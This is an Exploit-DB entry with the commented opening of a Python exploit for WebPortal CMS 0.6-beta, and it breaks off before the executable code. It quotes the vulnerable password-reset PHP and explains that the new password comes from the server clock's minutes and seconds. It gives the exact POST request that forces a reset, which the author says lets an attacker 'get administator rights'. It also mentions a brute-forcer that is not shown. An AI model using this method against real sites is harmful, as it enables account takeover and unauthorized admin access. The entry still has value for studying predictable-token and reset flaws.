Exploit-DB #4835
Description: WebPortal CMS 0.6-beta - Remote Password Change
Type: webapps
Platform: php
Date: 2008-01-04
Author: The:Paradox

Exploit:
#!/usr/bin/python
#=================================================================================================# 
#                     ____            __________         __             ____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
#                              \/\______|      \/     \/                                          #
#=================================================================================================#
#                                    This is a Public Exploit.                                    #
#				   Date: 04/01/2008 [dd,mm,yyyy]                                  #
#                                                                                                 #
#                                      !!!Happy New Year!!!                                       #
#                                                                                                 #
#=================================================================================================#
#               WebPortal-0.6-beta Cms And Maybe Lower Remote Password Change Exploit             #
#                                                                                                 #
#                                       Vendor:   webportal.ivanoculmine.com                      #
#                                     Severity:   Highest                                         #
#                                       Author:   The:Paradox                                     #
#=================================================================================================#                                                                                                 
#                             This exploit works with Magic Quotes = On                           #
#=================================================================================================#                                                                                                 
#                                       Proud To Be Italian.                                      #
#=================================================================================================#
"""                                                                                                
                                            Related Codes:
                                         actions.php; line 14:

elseif ($_GET["action"] == "lostpass") {
  $newpass = date("is").substr($user, 1, 2);

  $result = db_query ("SELECT * FROM ".$prefix."users WHERE uname='".$_POST["user_name"]."';");
  if (db_num_rows($result) > 0) {
    $utente = db_fetch_array ($result);
    db_query ("UPDATE ".$prefix."users SET pass='".md5($newpass)."' WHERE id='".$utente["id"]."';");	

"""
#=================================================================================================#
# Proof Of Concept / Bug Explanation:                                                             #
#                                                                                                 #
# This vulnerability is in actions.php and make us able to change the password of a victim user.  #
# The page is a "Password Recovery Tool", that sends a new generated password to user's email.    #
# It does an Update query (after a vulnerable SQL injection mq = OFF xD) setting as "pass"        #
# the $newpass variable. Let's look the code.                                                     #
#                                                                                                 #
# $newpass = date("is").substr($user, 1, 2);                                                      #                                      
#                                                                                                 #
# The newpassword is simply the date (minute+seconds) and the var $user taken trought             #
# register_globals (we can let it empty).                                                         #
# So look at your clock, recover the password, and get administator rights ! =D                   #
#                                                                                                 # 
# If get the exactly server date is a problem for you, i have coded a little bruteforcer          #
# (the new password is a 4 number sequence).                                                      #       
#                                                                                                 # 
#=================================================================================================#
# Post Request to "Recover Password" :                                                            #                        
#                                                                                                 # 
# POST /webportal-0.6-beta/actions.php?action=lostpass user_name=[UserName]                       #
#                                                                                                 #
#=================================================================================================#
# WebPortal cms is a very bugged platform. Some pages and functions don't work with the server    #
# configuration Register_globals = Off , A LOT of sql injections with Magic Quotes = Off,         #
# Full path disclosoures ecc.                                                                     #
# Whatever this one is the most critical ('cause works with Mq=ON).